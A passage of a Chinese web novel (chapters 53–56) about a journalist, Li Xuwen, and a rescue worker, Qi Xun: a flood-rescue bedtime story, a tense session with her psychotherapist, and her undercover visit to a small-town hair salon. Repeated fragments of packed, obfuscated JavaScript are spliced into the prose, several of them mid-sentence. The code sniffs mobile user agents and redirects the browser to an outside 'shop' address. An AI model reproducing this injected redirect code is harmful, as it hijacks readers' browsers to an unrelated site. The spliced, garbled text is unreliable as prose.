虽然她本人都觉得没什么,但这样摊开了说出来,齐寻心口却烧起一阵微妙的星火。 “就今晚吧,”黎叙闻一锤定音:“就辛苦你晚点睡了!” 但最后睡不着的是黎叙闻。 她紧闭着眼睛躺在床上:“开始录没有?” 齐寻坐在她身边整理素材库:“你不是还没睡着么。” 黎叙闻哦一声,继续努力睡,却压不住心里难以言喻的紧张。 她睡着之后呼吸声够平稳吗?好听吗?能不能显示出她甜美安静的形象? 今天挺累的,不会磨牙吧?要是说梦话怎么办? 要不要像网上教的那样,假装发出小动物似的可爱声音,对冲一下她铁血记者的气质,给他一点小小的震撼? 越想越睡不着了。 “齐寻,”她依旧闭着眼睛:“睡不着。” “那怎么办?” “不然你讲个故事。” “……你五岁?” 黎叙闻睁开眼瞪他:“我辛辛苦苦睡觉,是为了谁?” 齐寻嘴角抽搐:“没有我你就不睡了是吧。” 表面上斗着嘴,实际还是老老实实问:“想听什么?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16973332|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “你会讲什么?” “龟兔赛跑和丑小鸭。” “……不然你讲讲你第一次救援的事。” 齐寻合上电脑,表情匪夷所思:“你确定这是睡前故事?听完你就睡不着了。” 那年淫雨绵绵下了一周多,农田村落被淹得七零八落,微光救援的五十名救援人员由纪士诚带队,奔赴灾区。 那个被纪队长带在身边,顶着一张紧绷面孔的少年,就是齐寻。 他始终沉默地坐在队长边上,很少跟别人对视,但到底是少年人,无人注意的时候,他也会好奇地打量冲锋舟,充气艇,还有人人身上都绑着的小臂粗的救援绳。 有人注意到他,笑着跟纪士诚打趣:“纪队,你儿子啊?” 纪队长好脾气地打哈哈:“我要能生出这么帅的儿子,那倒好了。” 齐寻抿着唇角把脸撇向一边,旁人看不见的耳后一片通红。 那次的洪水格外凶猛,洪峰从远处迫不及待地赶来,纪士诚看着山丘一样的水从远处拍来,在岸上嘶吼:“撤!撤退!快!” 队员身子远远探出冲锋舟边缘去拉一个小孩——孩子七八岁,在房顶上哭得满脸是泪。 但就在这时,一个浪头打来,把冲锋舟上的救援队都拍懵了,两秒钟后定神再看,房顶上哪还有孩子的影子! 纪士诚拉紧了不住飘摇的安全绳,在泼天大雨中喊:“抓紧!不要下船,不要——” 他身边蓦地一空,回头一看,身边的齐寻不知什么时候已经不见了! 而此时的齐寻在没顶的洪水里,什么都听不见。 他咬牙睁着眼,身体丝毫不受控制,被洪荒之力裹挟着,飞速向下游流去,一把将孩子捞了过来。 水流卷着烂枝和断木,汹涌地冲他们拍过来,他什么都没来得及想,只堪堪将孩子护在怀里,千钧一发之际背向断木蜷起身,一瞬间的冲击让他猝不及防呛了水,便什么也不知道了。 黎叙闻听得眉头紧皱:“然后呢?救下来了吗?” “……没有。” 饶是齐寻那样拼命,那个孩子还是没有活下来。 等他清醒已经是几天之后,当时那块漂浮的门板被一颗倒伏的大树挡住,阴差阳错救了他一命。 齐寻在ICU里醒来,肺部感染让他呼吸都困难,他戴着氧气面罩,用气声问纪士诚:“孩子,活了吗?” 纪士诚忍了又忍,才绷着声音说:“没有。” 心率监护仪忽地发出刺耳的鸣叫。 他胸膛剧烈起伏着,脖颈处青筋暴起,肺像被烙铁撑开一样生疼,手指明明脱力,还死死地攥着床单。 值班护士语气不善:“家属,家属出来,病人要休息。” 纪士诚瞪着布满血丝的眼睛,说:“齐寻,记住了,你的命不是你一个人的,做事之前,一定要想清楚。” 后来,齐寻多方打听,也没有打听到那孩子叫什么名字,父母是谁。 于是每年的那一天,无论是出救援任务,还是做防汛培训,齐寻总会抽空,在十字路口摆几样零食,烧几张纸钱。 而距离他明白纪士诚的那句“你的命不是你一个人的”,还要等上许多年。 “所以你现在理解了吗?”黎叙闻侧身面对他,问。 齐寻垂着眼睛,看她被身后灯光勾勒出的绒边:“理解了。” 他的理解,却与纪士诚的教导大相径庭。 黎叙闻拍拍他的小臂,声音开始黏糊:“齐寻,你是一个特别好的人。” 她慢慢闭上眼睛:“所以,你要平安。” 均匀绵长的声音在他身边响起,她瓷白的手指还虚虚搭在他的手腕上。 齐寻打开笔电,循着波形,把她最后那句话从长长的音频中剪出来,放进了专门建的音效库。 “如果你看到的,都不是真的呢,”他用指尖轻轻挑开她唇角发丝:“晚安。” 53. 第 53 章 他们拼上命抢回来的笔记手稿,终于在社科院派上了用场。 接待黎叙闻的教授姓张,穿着飘逸,短发干练,拿到笔记粗粗翻了几页,镜片都挡不住眼睛里的光:“好东西!真是好东西!” 她指着其中某一页给黎叙闻看,遮掩不住地激动:“连访谈十年后的去向追踪都有,这种资料,我们专业人员因为伦理问题,通常是做不到的,想不到这片空白在这里补全了!” “有用就好,不枉费我们冒险。”她打开笔记第一页,上面记录了淑英的故事:“这个是他做这份调查的动因,也许对研究有帮助。” 张教授凝神看了一阵,突然道:“这个淑英……我好像有印象。” 黎叙闻眼睛一亮:“怎么?” 张教授让她稍等,转身在汗牛充栋的文库中翻了很久,拿出一份薄薄的记录:“太早了,没有电子版,当时她也不是很配合。” 她敲了敲些微泛黄的纸张:“这里面,她不叫淑英,她叫书影。” 黎叙闻恍然一瞬,垂眼去看,这份调查报告的题目是《发廊里的女诗人》。 她抬起头,欲言又止地望着张教授,张教授秒懂:“你是想问,这个发廊,是不是你想的那个发廊,是吗?”她正色道:“不是的,那是她攒了很久的钱,自己开的一家正规理发店。” “但你要注意,她性格非常……当时我们同行的师兄被她打出了脑震荡。”张教授看着黎叙闻:“她对记者的态度更差。” 黎叙闻额角一凉,不由抬手摸了摸侧颈。 “现在还能联系到她吗?”她试探道:“我觉得她的故事应该会很有价值。” 张教授默然了很久,才说:“我劝你不要。” “按理来说,她这么不配合,我们是不会让她参与的,但她的情况又有些不同。” 当年淑英好不容易逃出来,不敢回家,只去找了初恋,结果初恋对她出言不逊,她无处可去,只好回到京屿,想看看有什么法子可以安身立命。 但那个年代,大城市也很乱,她一个村姑,想凭自己站稳脚跟,根本不可能。 她经人介绍,到一家米粉店当服务员,谁知米粉店的老板就是一开始骗她去京屿的“同乡姐姐”,那米粉店,也根本不卖米粉。 要把一个没有根基的村姑困在这个圈子里,实在是一件太容易的事。 之后的很多次,她在灯红酒绿的霓虹里发呆,想自己大概真的要烂在这里了。 浑浑噩噩过了一段时间,淑英惊慌地发现,她怀孕了。 她决定逃跑。 仿佛这时候才从大梦中惊醒,才发觉自己是一个人,需要为人生负责,即便不为了自己,也为选择了她的这个小生命。 中间的细节外人不得而知,再有淑英的消息,她已经开了家自己的发廊,还出版了一本诗集,给自己取了个笔名,叫“书影”。 这个名字就这样传开了,成了城市边缘糜烂的荧光里,一个口口相传的都市传说。 “我们猜想,这可能跟她对记者的敌意有关,但多方探问,都没有得到结果。”张教授语重心长:“为了你的时间成本和安全,我建议你还是放弃这个选题。不过如果你坚持,我倒是有个忠告给你。” “什么?” “和光同尘。” 直到黎叙闻回报社办完了复职手续,又跟季筝沟通了几个选题,一路走回家,她都还在考虑张教授的建议。 虽然按季筝的意思,去做一篇深度人物访谈也不是不行,但…… 其实她有点不想在这个节骨眼上出差。 齐寻自己大概不知道,自从救援回来,他每天晚上睡觉都不踏实,总是无意识地肢体抖动,还会低声地说梦话,听不清,只能感觉到他语气紧张。 有时被梦境魇住,她一靠近,他就慢慢平静下来,等第二天再问,他却说什么都不记得了。 齐寻都这样,她不敢想救援队的其他人,会压抑成什么样子。 就算是出门,也得等一阵子…… 她一边琢磨,一边用指纹开了锁。 厨房里传来一阵难听的摩擦声,客厅满地的包装袋,她看了半天也不知道是什么,于是转头喊人:“齐寻?” 齐寻从厨房探出头来,身上围一条明显过窄的围裙,精悍肌肉线条把上半段撑得饱满,手里举着一个钢丝球:“回来了?” 黎叙闻开口前,先意味不明地咽了下:“干什么呢?满地的这是什么?” 齐寻洗了手,去把客厅和卧室的窗帘全部拉起来。 屋内光线瞬间转暗,而所有踢脚线、沙发底、床边,到洗手间,都亮起了一道暖黄色的光。 齐寻坐在沙发扶手上,眼底被温软的光点亮:“这样你就不会怕了。” 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979013|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身上还带着双氧水刺鼻的气味,黎叙闻微低着头,望着他额角蹭上的一片污渍,心里忽然莫名钝痛起来。 这种痛感很陌生,不是她看见黎策时候的那种痛惜,也不是看见琳琳时候的心疼,而是一种绵长的、无望的痛楚。 因为想到他只是她生命中的过客。 他的照顾和爱意,早晚有一天会流向更值得、更合适的人,而不是像现在一样,孤独地盘桓在她身边。 得而复失永远比从未得到更令人痛苦。 她就着雾蒙蒙的灯光,无师自通地学会了心痛。 于是在眸光出卖她之前,黎叙闻猛地别开眼神,小声道:“你是来做客的,不用干这些活儿。” 齐寻眉头轻轻一颤,沉默片刻,问:“我自作主张,不高兴了?” “没,怎么会”黎叙闻摆了下头,转身去倒水:“辛苦了。” 齐寻抬着下颌,静静盯着她的背影看。 刚刚他明明从她的神情里看到了动容,还有她瞬间变浅变乱的呼吸,都印证了这一点。 可他一个错眼,又好像那些只是他痴心妄想虚构的错觉。 “我有个朋友,是心理咨询师,专攻情绪压力管理,”黎叙闻把自己不平稳的声音藏在水声后:“最近他们机构好像在搞什么团体治疗,我觉得可以介绍微光去试试。” “朋友?” 什么情况下,她才会有一个当心理咨询师的朋友? 黎叙闻敏锐感知到他话里的刺探,后撤一步:“你考虑考虑,不需要就算了。” 说起朋友,齐寻不可避免地联想到话剧中心门口,站在她身边,一脸柔情地看着她的那个儒雅的年轻男人。 “可以,”他说:“需要我怎么配合?” “你如果有时间,明天我可以带你去跟他见一面,”黎叙闻依然背对着他:“他可能会跟你了解一下情况。” 林青淮的业务能力她完全相信,如果从谈话中就能看出齐寻的问题,对症下药,那即使她不在身边,也不必担心…… 那种钝痛在她想到“不在身边”时,瞬间卷土重来。 “你试试他的水平,觉得合适就跟老纪说一声。”她按住心口,接着说:“后天我就出差了。” 齐寻坐在扶手上,没有动,也不接话。 黎叙闻一咬牙,终于说出了口:“你……要不还是回家住吧。” 54. 第 54 章 “闻闻。” 他在身后轻轻叫了声,黎叙闻的眼眶跟着这一声瑟缩了一下。 “多住两天收拾下东西也可以,”她提高声音盖过他:“钥匙放在玄关就好。” 身后窸窣一阵,她听见他的脚步声慢慢跟到自己背后。 “你怎么了?在躲我?”他轻声问。 皮肤已经先一步感受到他靠近的气息,她脊背紧紧绷起,右手扣紧了掌心的玻璃杯。 而那上面,倒映着他近在咫尺的影子。 下一秒,手里的杯子被大力抽走,她手一滑,水泼了他一手背。 好像她整个人也被一同泼出去了。 她僵硬着身体从他和桌子之间抽身,拿了纸巾给他:“就,工作安排。” 齐寻接过纸,视线从她耳际颤动的碎发上划过。 他低头擦去自己手上的水渍,没再做声。 “我已经拒绝过你了,”黎叙闻把声音尽量放轻:“我们没可能的。” “我没要求任何可能。” “可你一直在付出。” “我不在乎。” “我在乎。” 这一句简直像响在山谷里,一声一声在两人之间回荡,不剐干净那点勾连就不罢休似地。 齐寻盯着她的眼睛。 猫儿似的眼尾,好看得伤人。 里面冷漓漓的,像在下雨。 泼在桌上的水沿着桌面,一滴一滴落在地板上,溅起的水花贴上他的脚腕。 ……又想起营地的那滴眼泪了。 他好像能抱着它,思念一辈子。 齐寻深吸一次,重新给她倒了水,塞进她手里:“喝温的。” “齐寻,”她把水杯搁在桌面上:“我说过了,我还不起,你这样……我没办法面对你了。” 她缓了口气:“你不欠我的。” 有人嘴比脑子快:“你怎么知道我不欠你的?” 话出口的一瞬间,他猛地噤声。 扶着桌沿的手指紧紧按住桌面,他脑子转得飞快,想说点什么来找补。 但已经来不及了。 黎叙闻眉心浮起波澜:“又?” 这已经是他第几次露出破绽了? 可能职业使然,她提问的时候时常盯住对方的眼睛,上身前倾,这时两人距离过近,她温热的鼻息,已经喷洒在了他的颈窝。 齐寻眼底蓦地掀起惊涛骇浪。 要不就说实话吧,他想。 他神色空茫地盯着闻闻时,闻闻也在观察他。 在他下定决心之前,黎叙闻轻轻笑了声:“算了。” “反正你永远都有秘密,”她转过身去:“不说算了,我不想知道。” 夕阳已经落进了林立高楼的背面,橙红晚霞在幕墙间几经反射,跃进家里的窗棂,将齐寻身后映得一片光亮。 黎叙闻眯了眯眼,抬脚要走,肩膀却被他拉住。 “明天要见的咨询师,真的只是你朋友?”他哑着嗓子追问。 黎叙闻扭过身,避开他的手:“不是,他是我的心理咨询师,我因为家里的一些原因,有压力问题和情绪障碍,需要固定时间去做咨询。” 她抬着头望着他,眼底一片血红残阳:“满意了?” “我是不够体面,但还是比你坦荡。”她眼尾的笑意抵着他的喉:“你输了。” 傍晚的街市才开始热闹,人们借着最后的天光买菜归家,嬉闹喧嚷,夹杂着晚高峰起伏不断地鸣笛,洪水一样涌进寂静的窗里。 齐寻一个人站在夜灯渐渐亮起的客厅,像乘着空无一人的夜航船。 卧室外不知安静了多久,又再次响起那种难听的摩擦声,一下一下,像挫在耳边。 黎叙闻合衣坐在床上,听他把厨房最后一点清理完,又窸窣了一阵,大门一开一合,发出一阵短促的吱呀声。 外面再没有人声响起了。 第二天上午十点,牧马人还是准时停在了她家楼下。 两人一路无话。 黎叙闻坐在副驾,始终扭头看着窗外,齐寻偶尔借变道的功夫,视线快速掠过她侧脸。 直到车在话剧中心门口停下,黎叙闻去开门,却发现中控锁没打开。 而齐寻坐着一动不动,没有丝毫开锁的意思。 她不得不回头:“不走吗?” “那天我来接你去聚餐,你刚结束治疗,是吗?”他问。 “……是。” 他终于转过头来,光明正大看她:“很辛苦吗?” 黎叙闻被他看得慌了一瞬,迅速摇头:“不会。” 工作日的上午,话剧中心也显得萧条,内里静悄悄的,许多剧目都还未开场。 而他们这一幕,却已经演到尾声。 有穿着浅灰色西装的身影在门口一晃而过。 黎叙闻扫了门口一眼,道:“最后一场,演戏也要有始有终。走吗?” “嗯。” 黎叙闻之前一念之差,告诉林青淮自己结婚了,要是今后再也不提,实在显得古怪。 今天带齐寻来见他一面,也算圆了这个谎言。 林青淮一身笔挺西装,金丝框镜,站在门口笑得温润:“来了?” 黎叙闻挽上齐寻的手臂,跟他一起踏上话剧中心的台阶:“等很久了?” 林青淮视线在两人紧挨的臂弯间一晃而过,笑意不减:“是我早到。” “这位是我的,”黎叙闻吞咽一次:“丈夫,齐寻。” 齐寻主动伸出手:“林咨询师,总听她说起你。” 林青淮唇边笑容更深,握上齐寻的手指:“哦?是吗,她都说我什么?” 黎叙闻眉峰一抬,心说这就开始了?上来就这么认真? 齐寻面不改色:“说你业务能力优秀,自从跟你做咨询,状态好了不少。” 林青淮扶了扶眼镜,偏头看着黎叙闻道:“过奖了,只是用心了而已。” “请吧,”他侧身让开通道:“进去喝杯茶,慢慢聊。” 咨询机构的等候大厅布置得明亮温馨,前台将他们引到茶室就坐,在茶几上放了小火炉和水晶壶,林青淮关上门:“听黎叙闻讲了你们的来意。需要团体合作的有多少人?” 齐寻答:“将近六十人。” “一般面对什么心理问题?” “精神紧张、情绪低落、失眠等等。” 林青淮在笔记上写了两行,抬头问:“所以,这些也一样困扰着齐先生吗?” 他嘴角一直含着亲切笑意,眼神却锋利:“倒没有听叙闻说起。” 齐寻眉心紧了紧:“我还不至于影响到她。” 也许是他语气不软,这句过后,室内的空气有个短暂的停顿。 镜片后的那双眼睛弯了弯。 “这一点你说了不算,”林青淮视线停在黎叙闻身上:“叙闻觉得呢?” 黎叙闻隐约觉得气氛不对,困惑地看他半天,道:“确实没有影响到我,他在我身边,睡得很踏实。” 林青淮的视线似被这一句打散了。 顶灯映在镜片上,反射出一片恍然。 他微妙地停顿一秒:“那就好,我很担心你的状态被他动摇,现在看来,是我多虑了。” 他状似无意地再次提问:“请问齐先生,做救援的动机是什么?” “救人需要什么动机?” “每个人做每件事都是有动机的,”林青淮轻笑:“不同于表面的光鲜,有时候沉在水底的,才是真相。” 齐寻隔着一行窄窄的淡绿色茶几,无动于衷地观察眼前衣冠楚楚的男人。 语带笑意,姿态放松,熟悉的环境显然令他游刃有余,即使逼问也不显得急促和轻佻,句句谦逊,却句句都试图压他一头。 看来之前在话剧中心门口看到的那一幕,并不完全是他的错觉。 “你想要什么?”齐寻十指交握,双肘撑上茶几:“想要我坐在这里痛哭流涕,对你痛陈我的童年阴影?还是想说我干救援,其实是因为心理创伤,真实的我正好是这种无私奉献的反面?” 他笑了声:“心理咨询都是这样预设立场然后生搬硬套?我倒不知道。” 林青淮不动声色,笑容疏离:“我怎么想不重要,重要的是你身为某人的法定配偶,有没有能力担负起让她幸福的责任。” 齐寻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983251|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眸光颤动了一瞬。 水晶壶中的水正好在此刻沸腾。 蒸汽一股股顶冒着壶盖,琥珀色茶液不安翻滚,似有什么呼之欲出。 热气腾腾的咕嘟声中,黎叙闻看看这个,又看看那个,问:“你俩在干嘛?正事儿聊还是不聊?” “我们夫妻之间的事,我自然会努力,”齐寻淡声道:“我个人的问题,就不劳林咨询师费心了。” 林青淮仍然如如不动:“当然,但她情况特殊,希望你能了解清楚,再做决定。” “林青淮!” 黎叙闻爆喝一声打断:“你要干什么?” 此言一出,林青淮便瞬间心知肚明——黎叙闻的家事,并没有告知她的丈夫, 这两人之间的关系,远不像看上去那么亲密。 黎叙闻自知失言,身体僵硬了一瞬,垂在身侧的手却覆上了温暖的触感。 略带糙感的掌心将她的手完全包住,四指轻轻拍了拍她的手背,似是静默的安抚。 她视线不由自主地在齐寻侧脸一啄,一触即离。 林青淮眼神在她脸上悬停两秒,忽然微笑着说:“你放心,我有职业道德,你在我这里吐露的一切,任何时候都绝对安全。” 黎叙闻默了片刻,手从齐寻掌心挣脱,故作坦然地倒了杯茶:“我事无不可对人言。” 齐寻盯着她手里的那杯茶,眼睁睁看着她放在了自己的唇边。 林青淮看他一眼,无声地笑了笑。 “团体援助我已经拟好了章程。”他信手从旁边拿过两份文件,摆在两人面前:“如果觉得合适,可以联系我的助理走后续流程。” 他视线意有所指地落在齐寻身上:“但如果不合适,也不必强求。” “稍有不顺就放弃是弱者所为,”齐寻手指翻开章程,目光却与他对视:“世界上没有错误的选择,只有不被选择的失败者,你说呢,林咨询师?” 从话剧中心出来,黎叙闻头也不回,噔噔噔地跑下楼梯,像是后面有人追她似地。 齐寻站在楼梯顶端,望着她的背影笑:“比我坦荡?我输了?” 黎叙闻停住脚步,转身道:“没有错误的选择,只有不被选择的失败者?” 她抱起双臂,鼻息里带出一声哼笑:“平时不声不响,关键时刻还挺会说。” 齐寻信步从楼梯上下来,在距离她两级的地方停下,俯视她:“关键时刻?刚刚是关键时刻?” 黎叙闻正要张口,忽觉他故意引她入套,于是瞥他一眼,不上当。 “你知道他对你有那种意思,”齐寻无奈道:“故意找我来给你当挡箭牌?” “……他不是那个意思,他只是担心我的心理状态。” “所以你信他胜过信我,是吗?” 日头在他身后正烈,齐寻再下一级,影子正好将她整个人罩在里面,声音平淡得发冷:“如果是他说让你不要参加救援,不要去危险的地方,你会听吗?” 周围很安静,只偶尔有几声鸟鸣,让他声音里那种压抑的语气更明晰。 黎叙闻无声地深吸一次:“这一样吗。” “哪里不一样?” 往日里那个总是让她半分的人好像没存在过似的,今天的齐寻,偏要把她往绝路上逼。 黎叙闻眉眼不认输,张了张嘴,却没说出话来。 林青淮让她不要去,她会点点头,说多谢你的建议,我会慎重考虑。 齐寻不让她去,她从来不听,也不担心,因为她知道,只要他在身边,她永远都无所畏惧。 多少有点有恃无恐。 她仰着下巴,端起一个毫无破绽的表情:“一个是公平交易,在商言商,一个是交托信任,互不辜负。你说呢?” 齐寻眼底眸光浮动,映衬得眉弓处更是一片乌沉。 他拿不准这两个,哪一个是他。 黎叙闻却再不给他提问的机会,她转过身:“我回报社,你可以去我家收拾东西。还有,离婚排号……明天就到我们了。” 身侧一阵潮润的风吹来,将她发梢轻柔地拨向一侧,她微微侧过脸,神色在乌黑发丝中模糊不清:“上午九点,民政局见。” 55. 第 55 章 她早该想到齐寻不会来。 黎叙闻在人声鼎沸的民政局门口等人,时间刚跳到九点十分,她立刻给齐寻发微信:“人呢?要过号了你知不知道?” 那边很快扔过来一条语音:“临时有工作,抱歉。” 她捏着手机,听这条语音挤在周围煌煌人声中,看见阳光在屏幕上投下一个莫名微笑的表情。 这可不怪我,离婚证必须两人都在场才能办,她想。 号都约了,他人不来,我也没有办法。 我今天也要出差的,那就只能等两个人都回来再说了。 就这样把自己哄高兴了,黎叙闻连民政局的门都没进,直接回家了。 根据张教授提供的信息,书影开的那家发廊在柳北县,距离京屿三小时车程。 鉴于书影之前把人打成脑震荡的光荣战绩,黎叙闻婉拒了摄像大哥跟拍的提议,决定自己单刀赴会。 柳北没有高铁站,只能高铁转长途汽车。黎叙闻从窒闷的车上下来,好像一脚踏入了蒸锅上的笼屉。 深呼吸也无法从漫天水气中抽出多少氧气来,她后颈一层黏腻,气短着上了一辆排队的出租:“麻烦去澄巷。” 澄巷躲在县城步行街后方的角落里,黎叙闻拖着行李箱,万向轮轧过满地的木头签子,脚下地面粘鞋,时不时脚边还出现一滩艳黄色的不明液体。 穿过各种摩的和三轮蹦蹦的喇叭声和揽客声,她终于站在了巷口。 一条二三十米的短巷,市场的热闹蔓延到这里,被它生生裂开,偶然有零星人影晃过,又很快消失在基座灰浊的角落。 巷尾有一家门店,挂着红白蓝三色转柱,老态龙钟地转得极慢。门口坐着个穿荧光绿吊带的短发少女,耳侧挑染了两缕灰白,正握着一把瓜子嗑,撩起眼皮睨她一眼,噗地一声,把瓜子壳吐到对面。 里面即刻传来中气十足的骂声:“狗日的龟孙个么吃个东西狗一样乱喷!就这样还想去城里工作!给我扫清爽!” 伴着这声骂,从发廊门口飞出一条秃了穗的笤帚,直冲着少女后脑飞过来。 少女轻车熟路一闪,笤帚掉到她脚边,吐出一口瓜子皮,终于腾出嘴:“去不了城里那你就让我去别处赚钱!啊哟你个老货又不放人……” 嘴里不干不净,还是老老实实低下头去扫了。 黎叙闻苦笑苦笑了下。 她算是知道张教授为什么说“最好还是放弃”了。 那姑娘受了气,转头又冲黎叙闻来了:“哪来的贱.货,看你妈呢?” 黎叙闻拖着箱子走过去:“你再说一遍。” 姑娘在身上一擦满是糖水的手,冲她恶劣一笑:“我说你个贱——” 嘴里猝不及防被塞进一团街边的传单,塞到了嗓子眼,顶得她直呕。 黎叙闻微笑地看着她:“书影呢?” 姑娘呜呜地指着嘴巴,意思先帮她弄出来。 黎叙闻笑了笑:“指路又不用嘴。” “谁啊?”刚刚骂过姑娘的声音从里屋由远及近,到了黎叙闻面前。 眼前的女人跟黎叙闻想象的……实在不同。 大概是先入为主,书影在她想象中,始终是那个所托非人、误入深渊的女孩。 她应该脆弱、易碎,即便后来听说她脾气大打人,也总隔着一种遥远的同情,像是给艺术作品中的角色增色的手段。 但此时一见,才觉得这样一个女人,不是她能同情得了的。 她个头不高,皮肤粗糙,头发理得极短,穿着一件领口洗泄了的宽大T恤,脖子上挂着染得看不出颜色的围裙,露出的胳膊很粗壮,带着两只塑料手套,上面沾满了灰色染头膏。 见了黎叙闻,她上下打量一圈,只一哂:“来干啥的?” “我是学生,研究生,”她面不改色:“来做毕业论文。” 书影表情稍松,但效果有限:“我这没啥好研究的,滚。” 说着转身就要往里进。 黎叙闻一个闪身,扒住门框:“我要毕不了业了!” 书影粗暴地给她拨到一边:“那就在这找个男的嫁了,生八个娃娃!” ……骂得还挺脏。 有年头的玻璃推拉门发出滞涩的声响,在她鼻尖扣下一层灰。 那年轻姑娘站在玻璃门后对她吐舌头,顺带给她比了个中指。 这一拉,倒把门上贴着的一张广告拉到了黎叙闻面前。 这家店在招学徒。 “哎,”她信心十足地叩门:“我来应聘,当学徒!” 里面自然没人理她,黎叙闻毫不在意,哐哐哐连着敲了五分钟,敲得门框都在嗡嗡作响。 百折不挠是记者标配,她要是打定主意烦起人来,能与之媲美的就只有卖安利的。 眼看门都要给她们拆了,书影忍无可忍,霍地一把拉开门:“你要闹撒?” “来当学徒,”黎叙闻道:“包吃包住吗?” 书影还没说话,那嚣张姑娘在她背后大笑:“这么大年纪了还当学徒,要脸不要?” 黎叙闻不理她,对书影道:“行行好,你不收我,我要没钱吃饭了。” 书影听了这番鬼扯,表情明显犹豫了一瞬,却没松口:“读书的会撒,别添乱。” 黎叙闻自信一笑,笃定地说出了那句职场上最大的谎言。 “我可以学。” …… 她学不来。 面对理发台上一字排开的瓶瓶罐罐,她甚至连软化剂和染发剂都分不清。 书影看她的眼神,已经从对读书人的些许尊敬,变成了一种看傻子的同情。 ……这种智商,没钱吃饭好像也挺正常的。 她停顿了一下,又问:“会带孩子吗?” 黎叙闻:………… 这回可是连“我可以学”都说不出口了。 她这头说不出话,嚣张姑娘可要笑死了:“你让她带孩子?别带出人命了吧哈哈哈哈哈。” 黎叙闻抿唇一笑,抄起个桌上的空罐子抬手一抛,罐子在空中划出一道银色弧线,直接命中她额头。 嚣张姑娘嗷了声,捂着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小狗恶狠狠威胁她:“我警告你,你现在是在我的地盘……要是敢耽误我去城里,”她呲了呲牙:“我弄死你!” 这次是来采访书影的,黎叙闻对这问题少女兴趣缺缺。 她耸耸肩:“我没什么兴趣管你,识趣的话闪远一点,”停了停,又问:“你去城里干嘛?别是让人给骗了吧。” “你少看不起人!”嚣张姑娘叫起来:“我去大公司,穿高跟鞋!”她一撇嘴:“跟你这种饭都吃不起的说不明白!” 黎叙闻笑了一声,手里笤帚一挥,陈年的灰尘都扑在了她脸上。 杂毛小狗呸呸呸地吐掉灰尘,大叫着就要上来打架,被黎叙闻一只手制住,哇哇哇叫着动弹不得。 “干啥呢!闹!闹!闹!”书影的吼声从身后传来:“让你们弄个卫生个么脏得要死!滚过来摆桌子!吃饭!” 56. 第 56 章 一盘清炒蒿子秆,一碟卤鸡爪,不多不少正好三只,还有一盘臭豆腐,三碗稀粥。 这就是“晚饭”。 嚣张姑娘倒高兴得很:“今天有肉!” 肉?黎叙闻去看那几只干巴巴的鸡爪。 那杂毛小狗抓起鸡爪就啃,毫无任何吃相可言。 就这么半分钟,她已经啃完了一只,油汪汪的手又去抓另一只,黎叙闻一筷子打掉:“干嘛呢?” 姑娘瞪着眼,头顶上的短发支棱着:“咋啦?” “一人一只,你抢谁的呢?” “又没吃你的!” “不许吃!”黎叙闻把剩下两只鸡爪一只夹进自己碗里,另一只丢到书影碗里:“家里人没有教你,吃饭要有规矩吗?” “我家把我卖给杀猪的了,”姑娘冷笑:“咋了,你们家还教赔钱货规矩?” 黎叙闻筷子悬在半空,慢慢地抬起头。 这时候天已经黑了,玻璃门上倒映着屋顶盛着钨丝灰烬的白炽灯。 还有她一张写着讶异的脸。 书影把鸡爪丢进姑娘碗里,不耐烦道:“吃不吃,不吃都滚!” 黎叙闻低头夹了一筷子青菜,不吭声了。 才安静了没有半分钟,那姑娘又坐不住了,在桌子底下用脚踢黎叙闻小腿:“哎,你叫什么?” “黎叙闻,”她道:“你可以叫我闻姐。” 姑娘一撇嘴:“还闻姐……土不土?”她昂起下巴:“我叫珍妮,外国名字。” 黎叙闻哦了一声,没忍心告诉她,在国外珍妮就跟翠花是差不多的意思。 这时,玻璃门突然被人拉开了。 一个妆容浮夸、穿着促销短裙的女人匆匆进来:“影姐,我……”正说着,看到饭桌上坐着个生面孔:“哟,你谁呀?” 她凑近了涂得像苍蝇腿的眼睫看黎叙闻:“也是去夜总会卖酒的?” 书影撂下筷子:“胡说啥,人家是大学生。” 女人上上下下打量她一番:“脸倒不错……会不会卖货?” 书影一巴掌扇向女人的胳膊打断她:“娃呢?在这废啥话?再交不上钱你试当一下!” 这一掌结实,啪地一声,女人不甚白皙的皮肤都浮起一片巴掌印。 